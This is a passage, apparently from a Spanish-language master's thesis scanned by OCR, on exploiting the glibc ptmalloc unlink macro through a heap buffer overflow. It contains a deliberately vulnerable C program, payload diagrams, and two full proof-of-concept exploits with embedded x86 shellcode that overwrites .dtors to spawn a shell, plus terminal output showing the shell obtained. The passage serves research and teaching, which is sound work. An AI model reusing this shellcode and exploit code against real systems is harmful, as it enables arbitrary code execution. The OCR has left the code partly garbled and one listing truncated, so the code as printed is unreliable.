Realizando una construccién logica hacia atras se analiza dicha escritura. Lo primero
es que lo que se escribe en memoria es BK, que no es mas que el contenido de la
direccién de memoria de *p + 12, que haciéndolo aun mas abstracto es el contenido
del campo bk del fragmento de memoria que se pasa a unlink, o sea, el contenido de
p—>bk.
Lo siguiente a analizar es dénde se escribe. Basicamente, se escribe en la direccion de
memoria mas 12 ubicada en FD que es *p + 8 y, de nuevo, haciéndolo mds abstracto,
es el contenido del campo fd del fragmento de memoria que se le pasa a unlink, o
sea, p—>fd.

Resumiendo:
e Qué se escribe en memoria? — El contenido de p—>bk

e En qué direccion de memoria se escribe? — En la direcciéon contenida en
p—>fd + 12 bytes.

Llegados a este punto uno debe plantearse dos cosas. La primera de ellas es si,
como usuario de la libreria, es posible controlar el contenido de los campos bk y £d
de un framento de memoria libre. La segunda es si, de ser posible lo anterior, cuales
serian las repercusiones.

A la primera pregunta se le dara respuesta en los proximos apartados, sin embargo,
se avanza al lector que, cumpliéndose ciertos requisitos, si es posible controlar el valor
de dichos campos.

En cuanto a la segunda cuestién, las repercusiones dependen de las posibilidades.
Es de sobra conocido que si un hacker tiene la posibilidad de escribir 4 bytes en
cualquier direccién de memoria, sera capaz de ejecutar codigo arbitrario@. Lo que

9Dicha suma no serd permanente sino que simplemente se utiliza para llevar a cabo la asignacién
de la parte derecha del operando.
20Dadas las condiciones de sistema que se especifican en esta investigacién.
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como repercusion, es una consecuencia nefasta para el sistema afectado.

Si el lector no conoce las técnicas por las cuales se puede conseguir la ejecucion de
codigo arbitrario a partir de la escritura de 4 bytes en cierta direccién de memoria,
se le encomienda leer el Apéndice [B]
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3.3. Explotacion practica

En este apartado se tratard la metodologia para conseguir escribir 4 bytes en
cualquier direccién de memoria, lo que, eventualmente, desembocara en la ejecucién
de c6digo arbitrario tal y como se muestra en el Apéndice[B] mediante la sobrescritura
de la seccion .dtors.

El Cédigo [24] muestra el cédigo vulnerable mediante el cual es posible controlar
el contenido de los campos bk y £d de un fragmento de memoria libre, tal y como
se planteaba en la pagina [38|

#include <stdlib.h>
#include <string.h>

int main (int argc, char xx argv) {

if (argc < 2)
return -1;

char  ptr_1 = (char %) malloc (512);
char * ptr_2 (char *) malloc (512);

memcpy (ptr_1, argv[l], strlen(argv[l]));

free(ptr_1);
free(ptr_2);

return O;

Cédigo 24. Codigo vulnerable

Con las lineas 5 y 6 se crean dos bifers de datos de un tamano de 512 bytes.
Estos brfers se almacenaran en el heap debido a que se piden al sistema mediante la
funcién malloc ().

A continuacién, en la linea 8 los datos que se pasan como argumento al programa
se copian en el buifer ptr_1. La vulnerabilidad viene dada por el hecho de que si
el tamano del argumento pasado al programa es mayor a 512 bytes, se producira un
overflow o desbordamiento del bufer, con lo que posiblemente se sobrescribiran otros
bufers almacenados en el heap o datos de control utilizados por el algoritmo de gestion
de memoria dinamica.

Asi pues, el requisito para poder sobrescribir el valor de los campos bk y f£d pasa
por que el desarrollador cometa un error que desemboque en un desbordamiento de
bufer.

Una vez se haya desbordado el bifer y se hayan sobrescrito ciertos datos, se
ejecutara la macro unlink mediante la liberaciéon de dichos bifers - lineas 10 y 11 -
y se conseguira la ejecucion de codigo arbitrario.
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3.3.1. Construccion del payload

El payload es el conjunto de datos o bytes con el cual sera posible vulnerar el
algoritmo ptmalloc. Este payload se almacenara en el primer buifer, ptr_1, y debido
a que su tamano serd mayor a 512 bytes, sobrescribird la regién de memoria donde
se ubica el segundo bifer, ptr_2. Evidentemente, se supone que ptr_1 y ptr_2
se almacenan de manera contigua en memoria y dado que en el Cédigo [24] se pide
espacio para ptr_1 y acto seguido para ptr_2 sin que haya ninguna otra peticién
de espacio de por medio, ni ningtin fragmento de memoria libre disponible, los dos
bufers se almacenaran de modo adyacente.

La idea en la que se basa la explotacién de esta vulnerabilidad pasa por hacer
creer al algoritmo que el primer bifer a liberar es adyacente a otro fragmento de
memoria libre. Si esto es asi, la macro unlink se ejecutara con lo que serd posible
escribir 4 bytes en cualquier regién de memoria.

La parte vulnerable del codigo fuente es la que se representa en el Codigo

else if (!chunk_is_mmapped(p)) {
nextchunk = chunk_at_offset (p, size);
nextsize = chunksize (nextchunk) ;
assert (nextsize > 0);

/* consolidate backward =/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset (p, - ((long) prevsize));
unlink (p, bck, fwd);

if (nextchunk != av->top) {
/+ get and clear inuse bit */
nextinuse = inuse_bit_at_offset (nextchunk, nextsize);

/+ consolidate forward =/
if (!nextinuse) {
unlink (nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset (nextchunk, 0);

Codigo 25. Cédigo ptmalloc vulnerable
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Aclarar que para que el Codigo [25]se ejecute, se debe ejecutar la funcién free ()
del programa vulnerable. Todo el razonamiento seguido a continuacién, se basa en
que se ejecuta la funciéon free () sobre el primer bifer, ptr_1.

Tal y como se ha comentado, se debe enganar al algoritmo para que entre en
la condicion de la linea 21 aun cuando el siguiente fragmento de memoria al que
se esta liberando esté en uso. Para enganar al algoritmo, se debe estudiar cémo se
decide si el siguiente fragmento de memoria libre al que se esta liberando estd libre
0, en caso contrario, estd en uso.

La macro que se encarga de definir si un fragmento de memoria esta en uso o esta libre
es la siguiente:

)\
)))->size & PREV_INUSE)

##define inuse_bit_at_offset (p,

S
( ( (mchunkptr) (((charx) (p)) + (s

Cédigo 26. Macro inuse_bit_at_offset ()

A la macro inuse_bit_at_offset se le pasa un puntero p. A este puntero se
le anade un offset s. Después de realizar esta accion, la direccion de memoria p+s
debe coincidir con un fragmento de memoria. Se obtiene el campo size de dicho
fragmento y se le realiza una and légica con el valor PREV_INUSE que es 1. Con lo
que si el ultimo bit del campo size de un fragmento de memoria es 1, el fragmento
de memoria estd en uso, si es 0, el fragmento esta libre.

Volviendo al Cédigo[25] en la linea 18 se ejecuta la macro inuse_bit_at_offset,
sin embargo como pardmetros se le pasan las variables nextchunk y nextsize.
Dichas variables se inicializan en las lineas 4 y 5 respectivamente.

La macro chunk_at_offset () esta definida del siguiente modo:

/+ Treat space at ptr + offset as a chunk =/
#define chunk_at_offset (p, s) ( (mchunkptr) (((charx) (p)) + (s)))

Cédigo 27. Macro chunk_at_offset()

Con lo que si a la macro se le pasa el puntero p, que apunta al primer fragmento
a liberar y un tamano size que es el tamano del propio fragmento a liberar, devol-
vera un puntero al siguiente fragmento en memoria contiguo al que se va a liberar.
En el caso de estudio, si p apunta al fragmento de memoria que almacena los datos
de ptr_1, el siguiente fragmento de memoria es ptr_2. De este modo se obtiene la
variable nextchunk en la linea 4 del Cdédigo [25]
Por otro lado, la variable next size se inicializa a partir de la macro chunksize ()
a la que se le pasa como parametro la variable nextchunk. Dicha macro definida
en el Codigo obtiene el campo size del fragmento de memoria que se le pasa.
Evidentemente, al campo size se le eliminan los 3 bits de menor peso que sirven
como metadatos. En el caso de estudio, se obtiene el tamano del siguiente fragmento
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de memoria al fragmento a liberar, o sea, el fragmento de memoria que contiene los
datos de ptr_2.

/+ Get size, ignoring use bits #*/
##define chunksize (p) ((p)—>size & ~ (SIZE_BITS))

Cédigo 28. Macro chunksize()

Se ha seguido todo este razonamiento para que el lector no tenga que creer cie-
gamente lo que aqui esta escrito, sino que pueda comprobar el razonamiento a partir
del cédigo expuesto.

La primera conclusion a la que se llega pues, es que el campo size del fragmento
de memoria contiguo al fragmento de memoria que se esta liberando debe tener el
bit menos significativo a 0, de este modo se entrara a la condicién de la linea 21 del

Cédigo 25

. Pero como se puede conseguir esto? A través del desbordamiento del que se ha
hablado anteriormente. Si el bifer ptr_1 tiene un tamano de 512 bytes, si en él se
escriben mas de esos bytes, los datos acabaran sobreescribiendo el bifer ptr_2 y
a partir de esto y partiendo de la base de que los datos del primer bufer los puede
controlar el usuario, es posible escribir en el campo size un valor que contenga su
bit de menor peso a 0, con lo que se ejecute la macro unlink de la linea 22 del Cédigo

23

Con lo visto hasta el momento, se obtiene que el payload esté definido como en la
Figura[gl Tal y como se puede ver, lo tinico que hay establecido es que el bit menos
significativo del campo size del segundo fragmento de memoria debe ser 0. Cabe
destacar que los campos prev_size y size del primer fragmento no se pueden
controlar ya que no hay modo de sobrescribirlos.

PAYLOAD
4 BYTES 4 BYTES 512 BYTES 4 BYTES 4 BYTES 512 BYTES
1 11 1L 11 11 |
r 11 1] |F 1r 11 1
PREV_SIZE| sIZE | Datos | DATOS Xglr\_ao;. l Datos |
[ | LsBao | | |
p ptr_1 ptr_2
[ Fragmento 1 ] Fragmento 2 |

Figura 8. Payload con el campo size a medio definir

Con los datos expuestos en los paragrafos anteriores, se ha conseguido ejecutar
la macro unlink al ejecutar el primer free (). Ahora falta modificar el payload para
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que al ejecutar unlink, se escriban los bytes en las direcciones apropiadas de memoria
tal y como se explica en el apartado [3.2]

El primer dato necesario es la direccion del inicio de la seccién .dtors mas 4 bytes.
De este modo se sobrescribira la direccién del destructor existente en el exploit. Todos
estos conceptos estdn detallados en el Apéndice [B] Se obtiene pues, que la direccién
que se busca es 0x08049f1c.
A esta direccion se le han de restar 12 bytes, tal y como se explica en la pagina
con lo que la direccién que se utilizard finalmente es 0x08049f10. Esta direccién debe
ser la que se almacene en el campo £d del fragmento de memoria que se sobreescribe,
0 sea ptr_2.

Por otro lado, se necesita la direccion del shellcode que se utilizara a modo de
ejecucion de coddigo arbitrario. Debido a las multiples protecciones de memoria que
existen hoy en dia, alojar el shellcode en una direcciéon de memoria que sea ejecutable
no es trivial. Por esta razén se utiliza la estrategia planteada en el Cédigo [29]

char shellcode[] = "El shellcode va aqui."

/+ Se obtiene el tamano de las paginas del sistema */
int pagesize = sysconf (_SC_PAGE_SIZE);
if ( pagesize == -1) {
perror ("[-] Page size could not be obtained");
exit (EXIT_FAILURE) ;
}
/+* Se obtiene una region de memoria alineada para poder
protegerla con mprotect */
void x* real_shell;
if ( posix_memalign (&real_shell, pagesize, sizeof (shellcode)) )
{
perror ("[+] Aligned memory could not be obtained");
exit (EXIT_FAILURE) ;
}
/* Se copia el shellcode en la region de memoria ejecutable
obtenida con memalign */
memcpy (real_shell, shellcode, sizeof (shellcode));
/#* Making shellcode location executable #*/
/% Se hace ejecutable la seccion de memoria donde se ubica el
shellcode */
mprotect (real_shell, pagesize, PROT_WRITE | PROT_EXEC) ;

Cédigo 29. Estrategia para ejecutar el shellcode

La estrategia es la misma que la utilizada para sobrescribir la seccion .dtors y
estd ampliamente explicada en el Apéndice [B] asi que no se entrard en detalles.
Gracias al cédigo, se conoce la direccion del shellcode, via el puntero real_shell.
La direccién donde apunta la variable real_shell es lo que ha de contener el
campo bk del fragmento de memoria que se sobreescribe, o sea, ptr_2.
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De este modo el payload queda representado por la Figura [0

PAYLOAD

4 BYTES 4 BYTES 512 BYTES i 4 BYTES I 4 BYTES 1L 4 BYTES I 4BYTES L 504 BYTES |
1 ]| ]|
I L LI LU 1T L) 1T 1

1 |F
VALOR
EREV size| size } Datos | DATOS CON EL @.D‘I;gRS— @SHELLCODE| Datos ]
I | LSBAO

FD BK

p ptr_1 ptr_2

} Fragmento 1 } Fragmento 2 {

Figura 9. Payload con el campo fd y bk definido

Como se puede ver, el campo £d contiene la direccién de la seccién .dtors mas 4
bytes, menos los 12 bytes justificados en la seccién [3.2] Por otro lado, el campo bk
contiene la direccion del shellcode.

Partiendo de la base que el iltimo dato que queda por concretar es el campo size
del segundo fragmento y que dicho campo, en el primer free () no afecta para nada
en la logica de ejecucién del algoritmo, (dejando a parte el tema ya tratado sobre
el bit de menos peso y la ejecucién de wnlink) uno se puede aventurar y ponerle
cualquier valor. Asi pues, el payload final, a falta de saber si funcionaria con el
segundo free (), es el retratado en la Figura

PAYLOAD
4 BYTES 4BYTES 512 BYTES 4 BYTES 4BYTES 4 BYTES 4 BYTES 504 BYTES
I 11 1 I 11 11 11 ]
I 1r dil 1 11 1r 1F 1
EREV_SIZE sIZE } Datos { DATOS o @’Dﬁg"s -~ |esHELLCODE] IeDa%']
FD BK
p ptr_1 ptr_2
[ Fragmento 1 ] Fragmento 2 |

Figura 10. Payload final

Como se puede ver, el campo size ahora contiene un 0. Evidentemente, el bit
menos significativo del valor 0, es 0 con lo que la macro unlink se ejecutara entrando
en la condicién de la linea 21 del Cédigo [25]tal y como ya se ha explicado.
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3.3.2. Construccion de la prueba de concepto

Ahora que parece que el payload parece funcional siempre y cuando solo se ejecute
el primer free ( )@, el Codigo muestra una prueba de concepto con todos los
aspectos detallados en los apartados anteriores.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAYLOAD SIZE 531

void world_destruction () _ attribute_ ((destructor));
void build _payload (char *, wvoid x);

char shellcode[]= /+ jmp 12 + 12 nops x/
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/+ shellcode by vlan7 and sch3m4 */
"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main (int argc, char *x argv) {

int status;
char crafted_data[700] = {0};

/* Obtain the page size of the system #*/
int pagesize = sysconf (_SC_PAGE_SIZE);
if ( pagesize == -1) {
perror ("[-] Page size could not be obtained");
exit (EXIT_FAILURE) ;
}
/4 Obtain an aligned memory region in order to mprotect it #*/
void * real_shell;
if ( posix_memalign (&real_shell, pagesize, sizeof (shellcode)) ) {
perror ("[+] Aligned memory could not be obtained");
exit (EXIT_FAILURE) ;
}
/#* Copy the shellcode to the executable region obtained with memalign
*/
memcpy (real_shell, shellcode, sizeof (shellcode));
/+ Making shellcode location executable */
mprotect (real_shell, pagesize, PROT_WRITE | PROT_EXEC) ;
/#* Making DTORS section writable #*/

21Las consecuencias del segundo free() con el payload actual aun no han sido estudiadas.
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mprotect ( (voidx) 0x8049000, pagesize, PROT_WRITE) ;
/4 The payload is built #*/
build_payload(crafted_data, real_shell);

char » ptr_1 = (char x) malloc (512);
char » ptr_2 = (char x) malloc (512);
memcpy (ptr_1, crafted_data, PAYLOAD_SIZE);

free(ptr_1);
//free (ptr_2);

return 0;

void build payload(char * crafted_data, wvoid x sc_addr)

char str dtor_ptr[5] = {0};
char * seek = crafted_data;

/* Trash */

memset (seek, ’'A’, 516);

seek += 516;

/* size of second freed chunk. 0 value #*/
memcpy (seek, "\x00\x00\x00\x00", 4);

seek += 4;

/+ fd of second freed chunk. dtors_end - 12 x*/
memcpy (str_dtor_ptr, "\x10\x9f\x04\x08", 4);
memcpy (seek, str_dtor_ptr, 4);

seek += 4;

/* bk of second freed chunk. Shellcode address #*/
memcpy (seek, &sc_addr, 4);

seek += 4;

void world_destruction () {}

Cédigo 30. Exploit para el algoritmo ptmalloc

El cédigo fuente esta formado por tres funciones. La primera es el main (), que es
la funcion principal. La funcién world_destruction () es el destructor necesario
para que el shellcode se ejecute una vez se sobrescriba la seccion .dtors, tal y como
se ha detallado en el Apéndice Bl Por tultimo, la funcién build_payload () es la
encargada de construir el payload que se ha definido en el apartado anterior.

El cédigo de la funciéon main () ya se ha comentado por separado en otros apar-
tados. Asi que no tiene sentido hacer hincapié.
Por otro lado, en la funcién build_payload () se puede ver como se contruye el
payload especificado anteriormente. Un dato a destacar es que todos los datos que
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se sobrescriben y que no son el campo size, £d o bk del segundo fragmento son
irrelevantes. Por esta razén, en la linea 64 se escriben 516 bytes de basura. Estos
bytes llenaran el bufer ptr_1 y sobrescribird el campo prev_size del segundo
fragmento. En la linea 67 se escribe un 0 el campo size del segundo fragmento, en
la linea 71 se escribe la direccién de la seccién .dtors + 4 - 1% en el campo £d del
segundo fragmento y en la linea 74 se escribe la direccion del shellcode en el campo
bk.

Aun quedan por destacar tres detalles mas.
El primero es que en la linea 53 el segundo free () estd comentado debido a que no
se han estudiado cuales son sus repercusiones. Hasta el momento, sélo se ha analizado
la ejecuciéon del primer free () asegurando que si la macro unlink se ejecuta y los
punteros bk y £d contienen los datos explicados, se conseguira la ejecucion de codigo
arbitrario.
El segundo detalle es que el shellcode tiene una particularidad especial. Tal y como
se comento en el capitulo|3.2|en la pagina la cuarta operacion de la macro unlink
acabara sobrescribiendo el octavo byte del shellcode con el contenido de £d. Asi que
para que no se sobrescriba el shellcode, la primera operacion del mismo, linea 13,
serd un jmp 12 seguida de 10 bytes de basura, o sea, un total de 12 bytes. De este
modo, el flujo de ejecucion del shellcode se saltara los bytes sobrescritos por la iltima
instruccion de la macro unlink y ejecutara el shellcode de manera correcta.
Por ultimo, y este detalle se debe tener muy en cuenta, el cédigo vulnerable ha
sido modificado de tal manera que los datos a copiar en la linea 50 por la funcién
memcpy ya no vienen dados por la funcién strlen () sino que vienen dados por
un valor fijo definido como PAYLOAD_SIZE. Esto es muy importante ya que la
funcién strlen () deja de contar bytes cuando se encuentra con un byte nulo. En
el payload que se ha detallado, la funciéon strlen () dejarfa de contar bytes antes
de sobrescribir el campo size del segundo fragmento ya que en el mismo campo
size se estarian copiando varios bytes nulos.

A continuacién se muestra lo que ocurre al compilar y ejecutar el Cédigo [30]

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ gcc pof.c
-o pof —-g

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./pof

$ id

uid=1000 (newlog) gid=1000 (newlog) groups=1000 (newlog), 4 (adm), 20 (dialout),b 24 (cdrom), 46(
plugdev), 111 (lpadmin), 119 (admin), 122 (sambashare)

$ exit

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$

Cédigo 31.  Ejecucion de la prueba de concepto con un solo free()

22Destacar que los datos se deben escribir en little endian debido a la arquitectura sobre la que
se trabaja
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Tal y como se puede ver, se ejecuta el shellcode 1o que brinda al usuario una linea
de comandos para ejecutar lo que desee.

Finalmente, lo tinico que queda por dilucidar es si descomentando el seguno
free () el shellcode sigue ejecutandose. El Cdédigo muestra el cambio a reali-
zar y la ejecucion de la nueva prueba de concepto.

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ sed ’'s
/\/\/free/free/gi’ pof.c >> pof2.c

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ gcc pof2.
c —o pof2

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./pof2

$ id

uid=1000 (newlog) gid=1000 (newlog) groups=1000 (newlog), 4 (adm), 20 (dialout),h 24 (cdrom), 46 (
plugdev), 111 (1lpadmin), 119 (admin), 122 (sambashare)

$ exit

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$

Cédigo 32.  Ejecucién de la prueba de concepto con los dos free()

Con”sed "s/\/\/free/free/gi’ pof.c >> pof2.c” secrea el archivo
pof2.c que serd igual al archivo pof.c pero la linea con el free() comentado se desco-
mentarda. A continuacién se compila y ejecuta obteniendo el mismo resultado que en
la prueba de concepto anterior.

Lo que ocurre cuando se ejecuta el segundo free () es que el flujo de ejecucién
entra en la condicion de la linea 4217 del archivo malloc.c. Con dicha condicién el
algoritmo descubre si el fragmento a liberar cumple las condiciones para almacenarse
en un fastbin. Debido a que el tamano del fragmento a liberar es 0 al haber sobrescrito
el campo size, el fragmento cumple las condiciones y por tanto se almacena como
si fuera un fastbin.

Asi pues, si el flujo de ejecucion sigue el camino de los fastbins, no se encuentra
ningin problema y la prueba de concepto funciona correctamente.
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3.3.3. Construccion del payload sin bytes nulos

En el apartado anterior se ha construido una prueba de concepto de un modo
innovador de manera que en ningun otro articulo escrito sobre el tema lo habia
publicado. Los articulos que tratan esta materia tales como [15], [1] o |7] utilizan la
técnica que se explicard a continuacion, sin embargo, todos esas publicaciones estan
obsoletas de modo que ninguna de ellas funciona contra el algoritmo ptmalloc tal y
como esta a dia de hoy.

Todos los articulos citados estan basados en el articulo pionero en la materia [15],
sin embargo, con los datos proporcionados por dicho articulo es imposible llevar a
cabo la explotacién del algoritmo.

En este capitulo se muestra una revision de la técnica presentada en [15] de modo
que la explotacion del algoritmo sea completamente funcional.

Sin embargo, la pregunta mas evidente es jporqué revisar la técnica de MaXX si
con la técnica mostrada anteriormente ya se cumplian los objetivos? Bésicamente por
que con la técnica de MaXX es posible evitar el uso de bytes nulos. La problematica
que introducen los bytes nulos estd ampliamente detallada en |17], pero en pocas
palabras se puede definir que el uso de bytes nulos hace que la copia de bytes en
los bufers termine abruptamente si dicha copia se realiza con funciones enfocadas al
tratamiento de cadenas tales como strcpy (), strlen (), etc.

La técnica utilizada en este apartado es parecida a la técnica detallada en el
capitulo anterior. Se volverd a sobrescribir la seccién .dtors con la direccion del shell-
code que se ejecutara. Sin embargo, esta vez el payload serd diferente.

Tal y como ya se ha visto, en el algoritmo ptmalloc para descubrir si los fragmentos
estdn en uso se utiliza el campo size del propio fragmento, pero otra cosa muy
importante es el hecho de que para conocer déonde empiezan los fragmentos de me-
moria también se utiliza el campo size. Por ejemplo, si se obtiene un fragmento de
memoria p, el siguiente fragmento de memoria se ubicara en la direccién p+size,
donde size es el tamano del fragmento p.

De este modo, si se sobrescribe el campo size del segundo fragmento de memoria
se puede enganar al algoritmo de tal modo que crea que un fragmento esté situado
en una direccion de memoria en la que se pueda escribir, con el objetivo de crear un
fragmento de memoria falso con el que se ejecute la macro unlink.

En la Figura se muestra el payload final. Como se puede ver, el payload es
mucho méas complejo pero a continuacién se detalla el por qué de cada uno de los
parametros que lo definen.

Empezando de atras en adelante, la explicacion es mucho mas intuitiva, asi que
se desarrollara de este modo.
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PAYLOAD

500 BYTES 4 BYTES 4 BYTES 4 BYTES | 8BYTES J1L 4 BYTES 4BYTES 4 BYTES . 4 BYTES 504 BYTES
I ]

[ Datos LSB =1 Datos 8 Datos Datos = @.DTORS - |@sHELLCODE| Datos ]
'H‘ '@' '@‘ '@‘ 12 H‘

FD BK

p ptr_2

} Fragmento 1 } Fragmento 2 {

Figura 11. Payload sin null bytes

El primer valor fuera de lo comun en el payload es el —16@. Aqui es donde entra en
juego la tematica del null byte. Lo primero a entender es que con este -16 se hace
creer al algoritmo que el siguiente fragmento de memoria se encuentra donde empieza
el fragmento 2 "maés” -16 bytes. Evidentemente se podria haber utilizado un valor
positivo y construir el fragmento de memoria falso 16 bytes por encima del fragmento
2, sin embargo, utilizando un valor negativo se evita la introduccién de null bytes.
Esto se debe a que para representar valores enteros se utiliza una representacién
conocida como complemento a 2@ Este sistema permite representar valores tanto
positivos como negativos utilizando niimeros binarios. Con esta técnica se aprovecha
el hecho de que la representacion de niimeros negativos en complemento a 2 se cons-
truye a partir de negar todos los bits del valor que se quiere convertir y sumarle uno.
Negando todos los bits del valor a convertir se consigue que los bits mas significativos
del valor tengan sus bits a 1 y no a 0, como ocurre con valores pequenos.

A modo de ejemplo, el complemento a 2 el niimero 8 en una arquitectura de 32 bits se
representa como 0x00000008, en cambio, el nimero -8 se representa como OxfHffS.
Como se puede ver, el nimero 8 contiene muchos bytes nulos, mientras que el niimero
-8 no contiene ninguno.

Con este -16, cuando se realiza el primer free () el flujo del programa acaba en el
Cédigo [25] de la pagina [I1] Después de obtenerse el valor para nextchunk que es la
direccion del fragmento 2 y su tamano, -16, se comprueba si el siguiente fragmento al
fragmento 2 esta en uso. Esto se hace a partir de la macro inuse_bit_at_offset
definida en el Cddigo [26] Esta comprobacién lleva a definir el tamano del fragmento
falso con un -8. En estos momentos el -8 no tiene justificacion, lo que si la tiene es
que eligiendo un -8 el bit PREV_INUSE esta a 0, con lo que la variable nextinuse

serda 0 y el algoritmo ejecutard la macro unlink al entrar en la condicién de la linea
21.

23En realidad, el valor en complemento a 2 es un -15, sin embargo, cuando se eliminen los 3 bits
de menor peso para obtener el tamano del fragmento se obtendra un -16.

24Para conocer més detalles sobre dicha representacién, visitar:
http://es.wikipedia.org/wiki/Complemento_a_dos
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De este modo se ha conseguido ejecutar la macro unlink con lo que la seccion .dtors
se habra sobrescrito con la direccién del shellcode tal y como se ha explicado en los
apartados anteriores.

Dando por hecho que ya se ha conseguido la ejecucion de cédigo arbitrario, a
continuacion se explica el por qué de los demas detalles del payload en orden de
participacion en el flujo de ejecucion.

Después del primer free (), se ejecuta el free () del segundo fragmento. Al
ejecutarse las lineas 4 y 5 de Cédigo [25]se obtiene la direccién del siguiente fragmento
a partir del tamano del fragmento que se esta liberando, o sea, -16. De este modo, la
variable next chunk apunta al fragmento de memoria falso y la variable nextsize
almacena el valor -8.

Acto seguido se ejecuta la macro prev_inuse (p). El fragmento p es el que
tiene un tamano de -16 bytes, pero tal y como se ha apuntado a pie de pagina
anteriormente, el valor real es un -15 debido a que el 1iltimo bit del campo size
esta a uno. O sea, el bit PREV_INUSE estd a 1 con lo que no se entrara a la condicién
de la linea 9 y de este modo se evitara un nuevo unlink.

La siguiente instruccién relevante es, de nuevo, la de la linea 18, que es la macro
inuse_bit_at_offset (). Del siguiente fragmento al que apunta nextchunk,
o sea, el siguiente fragmento al fragmento falso, se obtiene su tamano. Tal y como ya
se ha comentado, al fragmento falso se le ha asignado un tamano de -8 bytes, con lo
que el siguiente fragmento estara a menos -8 bytes a donde apunta nextchunk. El
campo size de este nuevo fragmento falso tiene el bit de menos peso a 1 con lo que
no se entrard a la condicion de la linea 21 ya que la variable nextinuse sera 1. De
este modo, de nuevo, se evita volver a ejecutar la macro unlink.

Con esta explicacion se detallan todos los datos del payload. Evidentemente, to-
dos los datos que no se han comentado pueden contener cualquier valor, evitando,
evidentemente, bytes nulos.

Tal y como se ha visto, esta técnica es bastante mas compleja que la anterior, sin
embargo, cuando la situacion lo requiera se podra recurrir a ella. Ademaés, el uso de
valores negativos o desbordamientos de enteros permite evitar condiciones como la
que se encuentra en [malloc.c:4217].
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3.3.4. Construccion de la prueba de concepto sin bytes nulos

Este apartado va a ser mucho menos extenso que el[3.3.2 debido a que el concepto
es el mismo con la tnica diferencia que el payload ha cambiado. El Codigo [33| muestra
la nueva prueba de concepto.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define VULN ", /vuln"
#define PAYLOAD SIZE 531

void world_destruction () _ attribute_ ((destructor));
void build_payload (char *, wvoid x);

char shellcode[]= /* jmp 12 + 12 nops */
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* shellcode by vlan7 and sch3m4 */
"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main(int argc, char *x argv) {

int status;
char crafted_data[700] = {0};

/+ Obtain the page size of the system #*/
int pagesize = sysconf (_SC_PAGE_SIZE) ;
if ( pagesize == -1) {
perror ("[-] Page size could not be obtained");
exit (EXIT_FAILURE) ;
}
/% Obtain an aligned memory region in order to mprotect it #*/
void * real_shell;
if ( posix_memalign (&real_shell, pagesize, sizeof (shellcode)) ) {
perror ("[+] Aligned memory could not be obtained");
exit (EXIT_FAILURE) ;
}
/+ Copy the shellcode to the executable region obtained with memalign
*/
memcpy (real_shell, shellcode, sizeof (shellcode));
/+ Making shellcode location executable */
mprotect (real_shell, pagesize, PROT_WRITE | PROT_EXEC) ;
/* Making DTORS section writable */
mprotect ( (voidx) 0x8049000, pagesize, PROT_WRITE) ;

93







94
95
96
97
98
99
100
101

memcpy (seek, str_dtor_ptr, 4);

seek += 4;

/* bk of second freed chunk. Shellcode address x/
memcpy (seek, &sc_addr, 4);

seek += 4;

void world_destruction () {}

Cédigo 33. Exploit para el algoritmo ptmalloc sin bytes nulos

Debido a la complejidad del cédigo o, al menos, del payload, éste estd mucho mas
comentado, detallando el por qué de cada una de sus partes. Los comentarios son
una especie de resumen del apartado anterior.

Al ejecutar el codigo, del mismo modo que con el cédigo anterior, se obtiene una
linea de comandos:

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ gcc
pof_without_null bytes.c -o pof without_null bytes -g

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./
pof_without_null bytes

$ id

uid=1000 (newlog) gid=1000 (newlog) groups=1000 (newlog), 4 (adm), 20 (dialout),b 24 (cdrom), 46(
plugdev), 111 (1lpadmin), 119 (admin), 122 (sambashare)

$ exit

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$

Cédigo 34. Ejecucion de la prueba de concepto sin bytes nulos
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3.4. Evolucion de la técnica

Por otro lado, seria correcto justificar porqué las técnicas detalladas en los articu-
los citados anteriormente ya no funcionan.
La metodologia que se explicaba en ellos era muy parecida a la detallada en el capitu-
lo anterior, sin embargo, a parte de otras diferencias més sutiles, en esos articulos
en vez de sobrescribir el campo size del segundo fragmento con un -15 (a efectos
practicos el tamano es de -16 bytes) lo sobrescribian con un -4, en hexadecimal,
Oxftfffttc.
Actualmente, si se utiliza dicho valor, la macro wunlink se ejecuta en el primer
free (), sin embargo, cuando se estd liberando el segundo fragmento de memoria, el
que contiene el -4 en el campo size, el programa termina su ejecucion recibiendo un
SIGSEGV, o sea, realizando una violacién de segmento cuando se ejecuta la macro
arena_for_chunk () en [malloc:3405].

Esto se debe a que el valor -4, en hexadecimal es Oxfc lo que en binario es 1111
0110. El segundo conjunto de 4 bits contiene el bit NON_MAIN_ARENA a 1. Este dato
es relevante debido a que la macro arena_for_chunk () se define del siguiente
modo:

#fdefine arena_for_chunk (ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

Cédigo 35. Macro arena_for_chunk()

